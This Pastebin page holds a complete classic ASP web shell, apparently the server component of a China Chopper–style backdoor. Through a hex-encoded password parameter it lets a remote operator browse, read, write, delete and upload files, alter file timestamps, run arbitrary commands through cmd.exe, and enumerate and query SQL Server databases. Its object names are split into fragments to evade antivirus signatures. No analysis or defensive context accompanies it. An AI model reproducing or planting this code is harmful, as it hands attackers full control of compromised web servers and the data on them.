Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <%
- Function P(ByVal s)
- On Error Resume Next
- Dim C,O
- For i=1 To Len(s)
- C=Hex(Asc(Mid(s,i,1)))
- If Len(C)=1 Then
- O=O&"0"&C
- Else
- O=O&C
- End If
- Next
- P=O
- End Function
- Function Q(ByVal s)
- On Error Resume Next
- Dim O
- h="&h"
- For i=1 To Len(s) Step 2
- If IsNumeric(Mid(s,i,1)) Then
- If CInt(Mid(s,i,1))<8 Then
- O=O&Chr(h&Mid(s,i,2))
- Else
- O=O&Chr(h&Mid(s,i,4))
- i=i+2
- End If
- Else
- O=O&Chr(h&Mid(s,i,4))
- i=i+2
- End If
- Next
- Q=O
- End Function
- Function I0()
- On Error Resume Next
- a=""
- Set n=Server.CreateObject("Wscript.Network")
- Set f=Server.CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
- b=Chr(10)
- a=a&"1:"&Request.ServerVariables("SERVER_NAME")&" - ("&Request.ServerVariables("LOCAL_ADDR")&")"&b
- a=a&"2:"&n.ComputerName&b
- a=a&"4:"&f.GetSpecialFolder(1)&b
- a=a&"5:"&FormatDateTime(Now(),0)&b
- a=a&"6:"&Request.ServerVariables("SERVER_SOFTWARE")&b
- a=a&"10:"&n.Username&b
- a=a&"12:"&Server.mappath("/")&b
- a=a&"13:"&Request.ServerVariables("PATH_TRANSLATED")&b
- I0=a
- End Function
- Function A1(ByVal I)
- On Error Resume Next
- O=""
- Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
- Set FD=FSO.GetFolder(""&I&"")
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- For Each D in FD.subfolders
- If Err Then:OO="ER:"&Err.Description:Err.Clear:Exit For:End If
- O=O&D.Name&chr(47)&Chr(9)&D.DateLastModified&chr(9)&chr(48)&chr(9)&FSO.GetFolder(D.Path).attributes&chr(10)
- Next
- For Each F in FD.files
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Exit For
- End If
- O=O&F.Name&Chr(9)&F.DateLastModified&chr(9)&F.size&chr(9)&FSO.GetFile(F.Path).attributes&chr(10)
- Next
- End If
- Set FD=Nothing
- Set FSO=Nothing
- A1=O
- End Function
- Function A2(ByVal I)
- On Error Resume Next
- O=""
- Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
- If Not FSO.FolderExists(I) Then
- FSO.CreateFolder(""&I&"")
- Set FSO=Nothing
- If Err Then
- O="ER:"&Err.Description
- Else
- O="OK"
- End If
- Else
- O="ER2"
- End If
- A2=O
- End Function
- Function A3(ByVal I)
- On Error Resume Next
- O=""
- Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
- If FSO.FolderExists(I) Then
- FSO.DeleteFolder(I)
- Set FSO=Nothing
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- O="OK"
- End If
- Else
- O="ER2"
- End If
- A3=O
- End Function
- Function A4(ByVal I1,ByVal I2)
- On Error Resume Next
- O=""
- Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
- If Not FSO.FolderExists(I1) Then
- O="ER2"
- Else
- FSO.MoveFolder I1,I2
- Set FSO=Nothing
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- O="OK"
- End If
- End If
- A4=O
- End Function
- Function A5(ByVal I1,ByVal I2)
- On Error Resume Next
- O=""
- Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
- If Not FSO.FolderExists(I1) Then
- O="ER2"
- Else
- FSO.CopyFolder I1,I2,true
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- O="OK"
- End If
- Set FSO=Nothing
- End If
- A5=O
- End Function
- Function A6()
- On Error Resume Next
- O=""
- SET A=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- For Each B in A.Drives
- O=O&B.DriveLetter&chr(58)
- Next
- End If
- A6=O
- End Function
- Function B1(ByVal I)
- On Error Resume Next
- O=""
- Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
- If FSO.FileExists(I) Then
- If FSO.GetFile(I).Size<1048576 Then
- Set f=FSO.OpenTextfile(I,1)
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- If f.atendofstream Then
- O=""
- Else
- O=f.readall
- End if
- End If
- Else
- O="ER6"
- End If
- Else
- O="ER4"
- End If
- Set FSO=Nothing
- B1=O
- End Function
- Function B2(ByVal I1,ByVal I2)
- On Error Resume Next
- O=""
- Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
- Set f=FSO.CreateTextFile(""&I1&"")
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- f.Write(""&I2&"")
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- O="OK"
- End If
- Set f=Nothing
- End If
- Set FSO=Nothing
- B2=O
- End Function
- Function B3(ByVal I)
- On Error Resume Next
- O=""
- Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
- If FSO.FileExists(I) Then
- FSO.DeleteFile(I)
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- O="OK"
- End If
- Else
- O="ER4"
- End If
- Set FSO=Nothing
- B3=O
- End Function
- Function B4(ByVal I1,ByVal I2)
- On Error Resume Next
- O=""
- Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
- If Not FSO.FileExists(I1) Then
- O="ER4"
- Else
- FSO.MoveFile I1,I2
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- O="OK"
- End If
- Set FSO=Nothing
- End If
- B4=O
- End Function
- Function B5(ByVal I1,ByVal I2)
- On Error Resume Next
- O=""
- Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
- If Not FSO.FileExists(I1) Then
- O="ER4"
- Else
- FSO.CopyFile I1,I2,true
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- O="OK"
- End If
- Set FSO=Nothing
- End If
- B5=O
- End Function
- Sub B6(ByVal I)
- On Error Resume Next
- Response.Clear
- Response.Buffer=True
- Set s=Server.CreateObject("Ad"&"odb.Stream")
- If Err Then
- Response.Write Err.Description
- Else
- s.mode=3
- s.Type=1
- s.Open
- s.LoadFromFile(I)
- If Err Then
- Response.Write Err.Description
- Err.Clear
- Else
- Response.Write "12345678"&s.Size&":"
- While Response.IsClientConnected And (Not s.EOS)
- Response.BinaryWrite s.Read(204800)
- Response.Flush
- Wend
- End if
- s.Close
- Set s=Nothing
- End IF
- Response.Flush
- End Sub
- Function B7(ByVal I1,ByVal I2,ByVal I3)
- On Error Resume Next
- O=""
- Set SS=Server.CreateObject("Ad"&"odb.Stream")
- With SS
- .Type=1
- .Mode=3
- .Open
- If I3>0 Then
- .LoadFromFile ""&I1&""
- .Position=I3
- End If
- Set RS=CreateObject("ADODB.Recordset")
- RS.fields.append "a",205,Len(I2)/2
- RS.open
- RS.addnew
- RS("a")=I2+chrb(0)
- RS.update
- .Write RS("a").getchunk(Len(I2)/2)
- RS.close
- Set RS=Nothing
- .Position=0
- .SaveToFile ""&I1&"",2
- .Close
- End With
- Set SS=Nothing
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- O="OK"
- End If
- B7=O
- End Function
- Function B8(ByVal I1,ByVal I2, ByVal I3)
- On Error Resume Next
- O=""
- Set A=Server.CreateObject("Shel"&"l.Application")
- Set B=A.NameSpace(Replace(Replace(I1,"/","\"),"\\","\"))
- Set C=B.ParseName(I2)
- C.ModifyDate=I3
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- O="OK"
- End If
- Set A=NoThing
- B8=O
- End Function
- Function C1(ByVal I1,ByVal I2)
- On Error Resume Next
- O=""
- Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
- If Trim(I2)="" Then
- I2="cmd.exe"
- Else
- If FSO.FileExists(I2)=False Then
- O="ER4"
- End if
- I2=Replace(I2,"/","\\")
- End if
- If O="" Then
- Set X=Server.CreateObject("wsc"&"ript.sh"&"ell")
- If Err Then
- Err.clear
- Set X=CreateObject("wsc"&"ript.sh"&"ell.1")
- End If
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- Set R=X.exec(I2&" /c "&I1)
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- O=R.StdOut.ReadAll()&R.StdErr.ReadAll()
- End If
- End If
- Set FSO=Nothing
- End IF
- C1=O
- End Function
- Function D1(ByVal I)
- On Error Resume Next
- O=""
- Set A=Server.CreateObject("Adodb.connection")
- A.Open ""&I&""
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- Set B=CreateObject("Adodb.Recordset")
- B.open "select [name] from [master]..[sysdatabases] order by 1",A,1,1
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- Do While Not(B.Eof Or B.Bof)
- O=O&B(0)&chr(9)
- B.MoveNext
- Loop
- B.Close
- End If
- Set B=Nothing
- A.Close
- End If
- Set A=Nothing
- D1=O
- End Function
- Function D2(ByVal I1,ByVal I2)
- On Error Resume Next
- O=""
- Set A=Server.CreateObject("Adodb.connection")
- A.Open ""&I1&""
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- A.DefaultDatabase=I2
- Set B=A.Execute("SELECT substring(@@version,22,5)")
- V=Trim(B(0))
- If V="2000" Then
- Set B=A.Execute("SELECT [name] FROM sysobjects WHERE xtype='U' ORDER BY 1")
- Else
- Set B=A.Execute("SELECT TABLE_SCHEMA+CHAR(46)+TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE'")
- End If
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- Do While Not(B.Eof Or B.Bof)
- O=O&B(0)&chr(9)
- B.MoveNext
- Loop
- End If
- Set B=Nothing
- A.Close
- End If
- Set A=Nothing
- D2=O
- End Function
- Function D3(ByVal I1,ByVal I2,ByVal I3)
- On Error Resume Next
- O=""
- Set A=Server.CreateObject("Adodb.connection")
- A.Open ""&I1&""
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- A.DefaultDatabase=I2
- Set B=A.Execute("SELECT substring(@@version,22,5)")
- V=Trim(B(0))
- If V="2000" Then
- Set B=A.Execute("SELECT A.[name],B.[name] FROM syscolumns A,systypes B where A.id=object_id('"&I3&"') and A.xtype=B.xtype ORDER BY A.colid")
- Else
- Set B=A.Execute("SELECT COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='"&I3&"'")
- End If
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- Do While Not(B.Eof Or B.Bof)
- If B(1)<>"sysname" Then
- O=O&B(0)&" ("&B(1)&")"&chr(9)
- End If
- B.MoveNext
- Loop
- End If
- Set B=Nothing
- A.Close
- End If
- Set A=Nothing
- D3=O
- End Function
- Function D4(ByVal I1,ByVal I2,ByVal I3)
- On Error Resume Next
- O=""
- Set A=Server.CreateObject("Adodb.connection")
- A.Connectiontimeout=9999
- A.Open ""&I1&""
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- A.DefaultDatabase=I2
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- Set B=A.Execute(""&I3&"")
- If Err Then
- O="ER:"&Err.Description
- Err.Clear
- Else
- If B.Fields.Count=0 Then
- O="OK"
- Else
- O=""
- For i=0 To B.Fields.Count-1
- O=O&B.Fields.Item(i).Name&chr(9)&chr(124)&chr(9)
- Next
- O=O&chr(10)
- Do While Not(B.Eof Or B.Bof)
- For i=0 To B.Fields.Count-1
- O=O&B(i)&chr(9)&chr(124)&chr(9)
- Next
- O=O&chr(10)
- B.MoveNext
- Loop
- End If
- End If
- End If
- Set B=Nothing
- A.Close
- End If
- Set A=Nothing
- D4=O
- End Function
- %>
- <%
- Server.ScriptTimeout=9999
- On Error Resume Next
- Dim p1,p2,p3,R
- z=Split(Q(request("mypass")),":")
- If UBound(z)<5 Then
- response.End
- End If
- p1=request(z(1))
- p2=request(z(2))
- p3=request(z(3))
- Select Case z(0)
- Case "I0" R=I0()
- Case "A1" R=A1(Q(p1))
- Case "A2" R=A2(Q(p1))
- Case "A3" R=A3(Q(p1))
- Case "A4" R=A4(Q(p1),Q(p2))
- Case "A5" R=A5(Q(p1),Q(p2))
- Case "A6" R=A6()
- Case "B1" R=B1(Q(p1))
- Case "B2" R=B2(Q(p1),Q(p2))
- Case "B3" R=B3(Q(p1))
- Case "B4" R=B4(Q(p1),Q(p2))
- Case "B5" R=B5(Q(p1),Q(p2))
- Case "B6" B6(Q(p1)):Response.End
- Case "B7" R=B7(Q(p1),p2,Q(p3))
- Case "B8" R=B8(Q(p1),Q(p2),Q(p3))
- Case "C1" R=C1(Q(p1),Q(p2))
- Case "D1" R=D1(Q(p1))
- Case "D2" R=D2(Q(p1),Q(p2))
- Case "D3" R=D3(Q(p1),Q(p2),Q(p3))
- Case "D4" R=D4(Q(p1),Q(p2),Q(p3))
- Case Else R=""
- End Select
- If UBound(z)>5 Then
- If z(6)="1" Then
- R=P(R)
- End If
- End If
- If Len(R)>0 Then
- Response.Write z(4)&R&z(5)
- End If
- %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement